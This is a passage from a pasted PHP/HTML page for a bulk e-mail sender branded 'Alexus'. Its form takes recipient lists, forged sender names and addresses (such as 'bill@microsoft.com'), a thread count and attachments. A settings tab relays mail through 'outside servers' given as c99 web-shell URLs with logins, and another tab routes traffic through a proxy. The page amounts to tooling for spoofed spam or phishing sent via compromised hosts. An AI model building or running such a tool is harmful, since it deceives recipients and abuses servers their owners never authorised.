arrEmohGzZ88eKUsweqdOnZJnRUdHy7QoNwVzZbiiPdRgjScaRz6tZj737dvHui7BQ0igyMhIOb9r1y4xZMiQKNQH9ZpqCYrXcDSucnk6QgN4Fsf79++XhjAqGJeOHz/eUq1Pnz6eKBL5FAgLCxN79+4tBzeQbOHh4XKM3IuBAwdGQpf6Z4qZs4+PT/k5zD15UfFMgusocKXDhg2zVOvdu/cwdL3ctWvXCvR46eWOHTsE0iJ27twp2cs5jmnQnDlz0jp37tyiqnJjY2MNpDOCUeN+ghGgx9zLMc9Tzl+xYsUHXEUrWt3AyspqZI8ePVYOGDDgBEjy2MvLSwXCsI5LD0A84e/vTxLJ3IFw/lDYRFGur6+vZWNj44or/BYklrIoNvJqrlu3To4JvCeK0bLvgyvxcHyDtbV1q0pemJmZNXN0dDwNxSpuoAG7d++WnvCbYAhxcBkeJYm4y4uxZzrSEov5XNYARY5kVMY8CzdE4Mbd69KlC2w3blAtf1zAayYBzyuZ81WrVkkvmBreZ4YWrx45T8I+e/ZMXlGSlG8DflOeMlu2bJHll9HgmPNsaqyU6IbXunXrZlJJuYGBgSaq4G2UTxWVr1+/Xm4gGELm7eHDh1IxDSJYMeklCcUcUw7FSBKVlZPsr3gOvxk96kAqMhGFSm1ZHYXoAosMnl0y5wRJyV96RALSU1ZF3hgqrSjHVNFDRoa537x5szRSOYPg2XRm7ty5uVUNYP6tUSrzeGcZBW5esmRJ+eHcyDU2m5ycHNmyWbRoFMcsYnyAsGhRlmCENm3aJFmvXGUQWYUKOL8aB9q1a1cXPIhETSjBgzSra9euMR06dIhetGiR9J7FhaARHJOYNIbllp7zulEJo0M5ytBjEDUNtebi7Nmzc5Cmj4h0OnTp1/gqQlhamJqa2nXs2LE9eWFhYRHE8svcE6zpyq/SKxRUXFPk2Q9wPWNbt27d2MjI6Ofu3bv/am5ubsPG96/vQ0NDwzbw/iEfJuyMJBW9Vko0xxXBZsNSroy5h30Et+YZzjL66lexiYmJLYjzni8kkophpnLkj4/MHF5XzhP8JrGQwlTmnrKc5xVF4fqAQuf21Qa0atXqBxx4Es2lkB6hrqvQuDJ1dXUtevbsGU8lyguHnqK6pTRt2tQca3fYzrmO21OGB+jNtm3bdv5SvWwy9QCW2RYaGho/ocx6oPffQZ3P1tPTm4T5vjAumkTjU41g00GOL2HNUVtbeyKqaTY6Zm779u39NDU1rTDfBuBLuCFQ53PKSQwtoDGVsz4BzJ0pYFWvXj0nKgccdHR0AvAieo+3XSmBf2BKmzdvHoa1IVyvX7/+KC0tLVd8W3zab/TJCL1PRvwjCfnK4XuN9boZew3wI8AwWgM26urq7jDCC+nwAXybNGniDU/HY82eDyTAkjQil4GWQCOgbk1t/G90PLnzsyPYbAAAAABJRU5ErkJggg=="></a></li>
- </ul>
- <ul class="nav pull-right">
- <li><a href="#" onclick="setLang('ru');return false">
- <img alt="русский" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAMAAADXqc3KAAABSlBMVEUAAAD///8AAQEAAQEAAQEAAQEAAQHT09PX19fa2trc3Nze3t7f39/Ozs719fX5+fn8/Pz9/f3+/v7+/v7+/v7+/v7+/v7ExMTz8/P4+Pj7+/v9/f3+/v7Dw8Py8vL4+Pj8/Pz9/f3CwsLw8PD39/f5+fn6+vr7+/sCAsA9Pe08PPU8PPc8PPg8PPkCAr8zM+syMvIyMvUyMvYxMfYCAr0oKOgnJ/AnJ/MnJ/QnJ/QCArslJeYnJ+4nJ/AnJ/EmJvICAroVFeEVFeoVFe0VFe4VFe+4AgLgERHoERHqERHrEBDsEBC2AgLdDQ3lDAzoDAzqDQ21AgLZCAjjCAjmCQnnCQnoCAizAgLXBQXfBQXjBQXkBQXlBQWzBQXVBwfbCAjhEBDjFhbmGxvlHBzmHx/mICDmISG4DAy5EBC9ERHAERHCERHDERHEERHpaBTVAAAAB3RSTlMAAAQMECQwISWBWgAAAGZJREFUKFPNjUEKgDAMBHdr0kP//1dBxdhIW1qoF0FwjjNkA3wPg4JOM+ZgF0ZWqnUOYRoPSlwF+WLXIWwxbwmUvtYHtTvE6dQvAnpK0HdTNVolh9Rsd2DgEsbPpZ4MnAabaic8eFyiFV6rXRgALgAAAABJRU5ErkJggg==" />
- </a></li>
- <li><a href="#" onclick="setLang('en');return false">
- <img alt="english" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAEM0lEQVRIie2Ua0jVZxzHSxJ6YaBBCFFYYtpeNJagjqaDQalbi+zFaGkT5yzWiiajTYsZTXIt87Z5qdkU04aF9ww6HrVjamfaIW/pqSyPnTpXtSzzkqn77Hn+madYbzaKvdkfvi/O7/L5PpffeebN+//777/58xfU79hBl05Hi66LiH3FeH+UiffGLKHsORkM/dStXYva25u+7m7e257/Qj5L6QnbU0R9Rjbn/f3RZmUh2dLApWb3boxpaYz29zM9PU3LNRvHCjtIPtVBSlEHaac7mZn5E3tODraMDGYmJjhZrldysuZoQTuNrXcYLC3FlJ7OiNlMW1ubNHCRBq6+m5O5o2niVkwMQxUVAjaDwfyI2JTLbI2vVSQNDFFR3N66lenRUb460qTEv/yxEX1TJ8bYWOyFhTwZG8M+NEzQp2nSwFUxcHrrO3YmqvmjoQtjfDz3Dh3i6fAwY+OT/FzcSdg3KrGzGW6Hh9MbFsbU48d8kdjAkfyr2MoqMERHMyKOeGpqivbrNvYcqUMyXzD4lpBdpQTvqiTz93bMefn0btvGoytXlKb61rs8fTrFzS1buB4czOTDh9TVdWPcvx9jXBwTAwM8mZwkr6JbYUiWZDoMVu8jKKqYwM9LCIwuJTKhlpsXLnFdrNacnc2k2PakAOhDQugODGTiwQN6IyKwFRQocaPlITsPX1R6JUOyJHPO4KJGw+DgICMjI4wJ2Pj4+CvVGRREu5ikUVH7qrzslQzJ0gjmnEHuokU0rl5Ni48PV4R0/1KyVzIk64STk8MgR/zQrFqFdragVRaLef8nap3tlQzJOiEWPWegVqsxGo0MiMu6f/8+D8QZD4spelFDd+/StGQJWk/Pv+WkZI/slQzJqhFMxyX7fI3bulTcAn8RyuSDmGI69EaGhoa4kZREi58fA+JP2ODqStPy5Up80GqlR4z0ZXEc2oISAiKKlF6FIViS6TDw3ssi/6O4BKQRl1qL1WbH3NNDa2gorRs38lueGmtfH/Vi2w1Ll2K3D5BfplNW21deTqOXFx1x8ez+4bzCkCzJfMnAY306Zao2LBYLvWfO0LBiBVcPHWbz3hI8P/wVy61b1C5cyEVxTFarjYV+6WzfX4mh34RZr0crRrhZTFlR7jnc30952eDdLYnioevE0NuLTrxLGnFRlcfPsnxDNs6+KXgE53Dvxg1Uzs7ULl6MyWRW4lI+m3Kpbe4RMRPtCQlccHdH/VMqb4cedBhUV1fTrlJR4+uLNjKSg8lVCnyZkIQHhJ/CJHagWbmSS2vWYDZbWBF6XMkpNSE5JJ/UKJd7raqKc+LI8j/e5DAoOXCAXA8PTscnsO6TY7j5fT+rBEWrNiTRKKaiwM2NwmXLaGpunss907P69Z+lU3FOhUqYFIq7e27gIuQl9M5rltfz53rBrInra5aLwgbeqN64wV+Rl1Pcwvw+zwAAAABJRU5ErkJggg==" />
- </a></li>
- </ul>
- </div>
- </div>
- </div>
- </div>
- <div class="row section-screen" id="help-screen">
- <div class="span12">
- <div class="well">
- <?php tr('helppage',false);?>
- </div>
- </div>
- </div>
- <div class="row section-screen" id="preview-screen">
- <div class="span12">
- <div class="well">
- <h3><?php tr('preview');?></h3>
- <button class="btn prime-button"><?php tr('backtoeditor',false);?></button>
- <iframe src="about:blank" style="width:100%; height:600px;"></iframe>
- <button class="btn prime-button"><?php tr('backtoeditor',false);?></button>
- </div>
- </div>
- </div>
- <div class="row section-screen" id="settings-screen">
- <div class="span12">
- <div class="well">
- <h2><?php tr('settings');?></h2>
- <ul class="nav nav-tabs">
- <li class="active"><a href="#home-tab"data-toggle="tab"><?php tr('settings-primary')?></a></li>
- <li><a href="#outservers-tab" data-toggle="tab"><?php tr('settings-outservers')?></a></li>
- <li><a href="#security-tab" data-toggle="tab"><?php tr('settings-security')?></a></li>
- </ul>
- <div class="tab-content">
- <div class="tab-pane active" id="home-tab">
- <?php tr('threadsnum');?><br>
- <div class="btn-group">
- <input type="button" class="btn" onclick="dThreads();" value="<?php tr('less',false);?>"><button class="btn" id="THREADS">4</button><input type="button" class="btn" onclick="iThreads();" value="<?php tr('more',false);?>">
- </div>
- <br><br>
- <?php tr('timeoutlen');?><br>
- <input type="text" class="input-mini" id="TIMEOUT" value="0" style="height:25px; margin-top:10px;"><div id="TIMEOUT_RANGE" min="0" max="3600"></div>
- <br><br>
- <?php tr('settings-history-length')?> <input type="text" class="input-mini" id="maxDoneSize" value="25" style="height:25px; margin-top:10px;">
- </div>
- <div class="tab-pane" id="outservers-tab">
- <input type="checkbox" id="use_out_servers" style="display:none;">
- <button type="button" class="btn btn-danger btn-checkbox" data-toggle="#use_out_servers"><i class="icon-remove"></i></button> <?php tr('useoutservers');?><br><br>
- <?php tr('settings-outservers-doc')?>
- <br>
- <textarea id="out_servers" style="width:100%; height:250px;" placeholder="Пример: http://serv4.ru/sw.php|c99|login:password"></textarea><br>
- <?php tr('settings-outservers-check')?>
- <br><br>
- <div class="progress" id="outprogressbar">
- <div class="bar bar-warning" style="width: 0%;"></div>
- <div class="barcounter">0/0</div>
- </div>
- <?php tr('settings-outservers-check-log')?>
- <div class="well" id="pingout_log" style="width:860px; height:150px;overflow-y:scroll;"></div>
- </div>
- <div class="tab-pane" id="security-tab">
- <?php
- $no_write_perm=false;
- clearstatcache();
- if(!is_writable(__FILE__)):
- $no_write_perm=true;
- ?>
- <div class="alert alert-error">
- <?php tr('settings-security-notwritable')?>
- </div>
- <?php endif;?>
- <div class="alert alert-success" style="display:none;" id="passchangesuccess">
- <?php tr('settings-security-password-changed')?>
- </div>
- <div class="alert alert-error" style="display:none;" id="passchangeerror">
- <?php tr('settings-security-password-not-changed')?>
- </div>
- <table border=0>
- <tr>
- <td><input type="text" id="inputLogin" class="txtinput" placeholder="<?php tr('login',false);?>" <?php if($no_write_perm):?>readonly<?endif;?>></td>
- <td><input type="text" id="inputPassword" class="txtinput" placeholder="<?php tr('password',false);?>" <?php if($no_write_perm):?>readonly<?endif;?>></td>
- </tr>
- <tr>
- <td>
- <button type="button" class="btn" onclick="ChangePass($('#inputLogin').val(),$('#inputPassword').val())" <?php if($no_write_perm):?>disabled<?endif;?>><?php tr('settings-security-set-password')?></button>
- </td><td>
- <button type="button" class="btn btn-danger" onclick="ChangePass('','');" <?php if($no_write_perm):?>disabled<?endif;?>><?php tr('settings-security-remove-password')?></button>
- </td>
- </tr>
- </table>
- <br><br>
- <input type="checkbox" id="use_proxy_server" style="display:none;">
- <button type="button" class="btn btn-danger btn-checkbox" data-toggle="#use_proxy_server"><i class="icon-remove"></i></button> <?php tr('settings-security-use-proxy')?><br>
- <input type="text" class="txtinput" id="proxy_server_uri" placeholder="http://proxyserver.ru:8080">
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="row section-screen" id="prime-screen">
- <div class="span3">
- <div id="console" class="well" style="text-align:center;"><?php tr('status');?></div>
- <div id="ext-console" class="well"></div>
- </div>
- <div class="span9">
- <div class="progress" id="progressbar">
- <div class="bar bar-warning" style="width: 0%;"></div>
- <div class="barcounter">0/0</div>
- </div>
- <div class="well status">
- <b><?php tr('status');?>: <span class="label label-warning"><?php tr('status-idle');?></span></b>
- <div class="controls">
- <button class="btn" disabled="disabled" id="ResumeSendMail" onclick="ResumeSendMail()"><i class="icon-play"></i> <?php tr('process-resume');?></button> <button class="btn" disabled="disabled" id="PauseSendMail" onclick="PauseSendMail()"><i class="icon-pause"></i> <?php tr('process-pause');?></button> <button class="btn" disabled="disabled" id="StopSendMail" onclick="StopSendMail()"><i class="icon-stop"></i> <?php tr('process-cancel');?></button>
- </div>
- </div>
- <form class="form-horizontal">
- <div class="control-group">
- <label class="control-label" for="inputEmail"><?php tr('recipient');?> [TO-EMAIL]</label>
- <div class="controls">
- <textarea name="to" id="to" class="input-xlarge txtinput" placeholder="vasya@yandex.ru"></textarea>
- <div class="input-append">
- <span class="add-on" onclick="ShowUpload();return false" style="cursor:pointer;"><?php tr('upload');?></span>
- </div>
- </div>
- </div>
- <div class="control-group">
- <label class="control-label" for="inputEmail"><?php tr('fromname');?> [FROM-NAME]</label>
- <div class="controls">
- <textarea name="fromname" id="fromname" class="input-xlarge txtinput" placeholder="Bill Gates"></textarea>
- </div>
- </div>
- <div class="control-group">
- <label class="control-label" for="inputEmail"><?php tr('frommail');?> [FROM-EMAIL]</label>
- <div class="controls">
- <textarea name="frommail" id="frommail" class="input-xlarge txtinput" placeholder="bill@microsoft.com"></textarea>
- </div>
- </div>
- <div class="control-group">
- <label class="control-label" for="inputEmail"><?php tr('replymail');?> [REPLY-EMAIL]</label>
- <div class="controls">
- <textarea name="replymail" id="replymail" class="input-xlarge txtinput" placeholder="my@email.com"></textarea>
- </div>
- </div>
- <div class="control-group">
- <label class="control-label" for="inputEmail"><?php tr('subject');?> [THEME]</label>
- <div class="controls">
- <textarea name="tema" id="tema" class="input-xlarge txtinput" placeholder="<?php tr('subject_example',false);?>"></textarea>
- </div>
- </div>
- <div class="control-group">
- <label class="control-label" for="inputEmail"><?php tr('addfield');?></label>
- <div class="controls">
- <div class="input-prepend">
- <span class="add-on">[ADD0]</span>
- </div>
- <input type="text" name="additional" id="additional0" class="input-xlarge txtinput additional" placeholder="<?php tr('addfield2',false);?>"></textarea>
- <div class="input-append">
- <span class="add-on"><span class="addfield" onclick="AddField(this)">+</span></span>
- </div>
- </div>
- </div>
- <div class="control-group">
- <label class="control-label" for="inputEmail"><?php tr('mailtype');?> (
- <a href="#" rel="tooltip" data-title="<?php tr('plaintext',false);?>">text</a>,
- <a href="#" rel="tooltip" data-title="<?php tr('withformating',false);?>">html</a>,
- <a href="#" rel="tooltip" data-title="<?php tr('htmle',false);?>">html(e)</a>)
- </label>
- <div class="controls">
- <select name="type" id="type">
- <option value="html">html</option>
- <option value="htmle">html(e)</option>
- <option value="text">text</option>
- </select>
- </div>
- </div>
- <div class="btn-group" id="textcontrols">
- <button id="makebold" onclick="MakeBold();return false" class="btn">B</button>
- <button id="makeitalic" onclick="MakeItalic();return false" class="btn">I</button>
- <button id="makeunderline" onclick="MakeUnderline();return false" class="btn">U</button>
- <button id="makereverse" onclick="MakeReverse();return false" class="btn">esreveR</button>
- </div>
- <textarea name="text" id="text" style="width:100%;height:200px;"></textarea>
- <button class="btn" onclick="showUniversalUpload();return false"><i class="icon-plus"></i> <?php tr('attachfile');?></button>
- <span id="attachedFiles" class="pull-right"></span>
- </form>
- <div class="pull-left">
- <button class="btn btn-large" onclick="SaveData()"><?php tr('save');?></a>
- <button class="btn btn-large" onclick="TogleLoadSave()"><?php tr('load');?></a>
- </div>
- <div class="pull-right">
- <button class="btn btn-large btn-primary" onclick="Send()"><?php tr('send');?></a>
- <button class="btn btn-large" onclick="Preview()"><?php tr('preview');?></a>
- </div>
- </div>
- </div>
- <div class="row">
- <div class="span12">
- <div class="well" style="text-align:center;">
- © <a href="http://mailer.a-l-e-x-u-s.ru/" target="_blank">Alexus</a> <?php echo date("Y");?>
- </div>
- </di>
- </div>
- <script src="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/js/bootstrap.min.js"></script>
- </body>
- </html>
Add Comment
Please, Sign In to add comment